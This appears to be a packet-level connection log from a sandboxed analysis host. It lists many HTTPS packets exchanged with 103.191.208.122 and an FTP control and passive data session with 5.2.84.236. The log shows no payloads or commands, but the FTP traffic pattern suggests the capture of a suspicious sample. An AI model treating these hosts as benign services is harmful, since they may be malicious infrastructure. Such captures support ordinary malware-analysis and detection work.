Oct 9, 2024 15:01:57.277555943 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.277698040 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.277754068 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.277790070 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.277796030 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.277837992 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.277837992 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.278007030 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.278084040 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.278215885 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.278276920 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.278321981 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.278333902 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.278333902 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.278340101 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.278454065 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.279045105 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.279099941 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.279149055 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.279149055 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.279160023 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.279441118 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.279515028 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.279520988 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.279727936 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.279818058 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.279824018 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.279992104 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.280050993 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.280095100 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.280112028 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.280112028 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.280118942 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.280175924 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.280175924 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.280878067 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.281145096 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.414151907 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.414319038 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.414395094 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.414395094 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.414407015 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.414527893 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.414592028 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.414592028 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.414599895 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.414752007 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.414827108 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.414827108 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.414834023 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.414926052 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.415019989 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.415031910 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.415031910 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.415050983 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.415405035 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.415564060 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.415668011 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.415744066 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.415744066 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.415751934 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.415777922 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.415843964 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.415843964 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.415852070 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.415868998 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.415931940 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.415931940 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.415940046 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.416111946 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.416198969 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.416198969 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.416207075 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.416306973 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.416378021 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.416378021 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.416387081 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.416604042 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.416677952 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.416677952 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.416686058 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.416701078 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.416783094 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.416783094 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.416790962 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.417005062 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.417081118 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.417081118 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.417088985 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.417104959 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.417169094 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.417169094 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.417176962 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.417222977 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.500751019 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.500895023 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.500972986 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.500984907 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.501027107 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.501075029 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.501097918 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.501224041 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.501300097 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.501460075 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.501504898 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.501646042 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.501774073 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.501848936 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.502145052 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.502311945 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.502335072 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.502427101 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.502434015 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.502461910 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.502521992 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.502521992 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.502937078 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.503034115 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.503068924 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.503175020 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.503185987 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.503209114 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.503269911 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.503269911 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.504067898 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.504162073 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.504185915 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.504293919 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.504317999 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.504340887 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.504400969 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.504400969 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.504435062 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.505029917 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.656019926 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.656164885 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.656205893 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.656220913 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.656260967 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.656260967 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.656737089 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.656836987 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.656873941 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.656940937 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.656985044 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.657102108 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.657104015 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.657133102 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.657171965 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.657193899 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.657342911 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.657445908 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.657484055 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.657491922 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.657532930 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.657532930 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.657979012 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658042908 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658083916 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.658088923 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658101082 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.658103943 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658185005 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.658729076 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658782959 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658834934 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.658834934 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.658835888 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658849955 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658889055 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658907890 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.658914089 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.658945084 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.659023046 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.659641027 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.659681082 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.659745932 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.659745932 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.659756899 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.659804106 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.734164000 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.734306097 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.734314919 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.734338999 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.734397888 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.734468937 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.734488010 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.734553099 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.734585047 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.734666109 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.734874010 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.734961033 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.735106945 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.735197067 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.735651016 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.735752106 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.735766888 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.735872984 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.735873938 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.735899925 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.735939980 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.735981941 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.735991955 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.736053944 CEST	443	49818	103.191.208.122	192.168.2.9
Oct 9, 2024 15:01:57.736182928 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:01:57.743091106 CEST	49818	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:00.024771929 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:00.030222893 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:00.030306101 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:00.361596107 CEST	49766	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:00.664175987 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:00.664474010 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:00.669872999 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:00.892010927 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:00.892241001 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:00.897146940 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:01.336200953 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:01.336344957 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:01.341226101 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:01.564239025 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:01.564428091 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:01.570056915 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:01.792363882 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:01.793025970 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:01.797926903 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:02.020143032 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:02.020306110 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:02.025316954 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:02.247364044 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:02.248240948 CEST	49865	63612	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:02.253192902 CEST	63612	49865	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:02.253293991 CEST	49865	63612	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:02.253420115 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:02.258321047 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:02.794722080 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:02.794787884 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:02.794900894 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:02.799756050 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:02.799786091 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:02.887054920 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:02.887825966 CEST	49865	63612	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:02.887870073 CEST	49865	63612	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:02.892740011 CEST	63612	49865	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:02.893393993 CEST	63612	49865	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:02.893476963 CEST	49865	63612	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:02.930742979 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:03.259938955 CEST	21	49853	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:03.305686951 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:03.808670044 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:03.808757067 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:03.812593937 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:03.812617064 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:03.812928915 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:03.852535963 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:03.994801998 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.035409927 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.366589069 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.366619110 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.366628885 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.366688967 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.366700888 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.415016890 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.598934889 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.598951101 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.599180937 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.599212885 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.599224091 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.599235058 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.599242926 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.599286079 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.599286079 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.599666119 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.599677086 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.599736929 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.651431084 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.651501894 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.831073999 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.831212044 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.831363916 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.831438065 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.831758022 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.831868887 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.833089113 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.833169937 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.833682060 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.833754063 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:04.834620953 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:04.834690094 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.908857107 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.908875942 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.909014940 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.909063101 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.909076929 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.909101009 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.909117937 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.910151958 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.910250902 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.910398006 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.910451889 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.910955906 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.911014080 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.911015034 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.911029100 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.911068916 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.911271095 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.911334038 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.914371014 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.914459944 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.914635897 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.914702892 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.915301085 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.915371895 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.915941000 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.916024923 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.916090965 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.916169882 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.916837931 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.916902065 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.917002916 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.917059898 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.917854071 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.917918921 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.918155909 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.918211937 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.919127941 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.919190884 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.919796944 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.919864893 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.919884920 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.919934034 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.920703888 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.920780897 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.920897961 CEST	443	49870	103.191.208.122	192.168.2.9
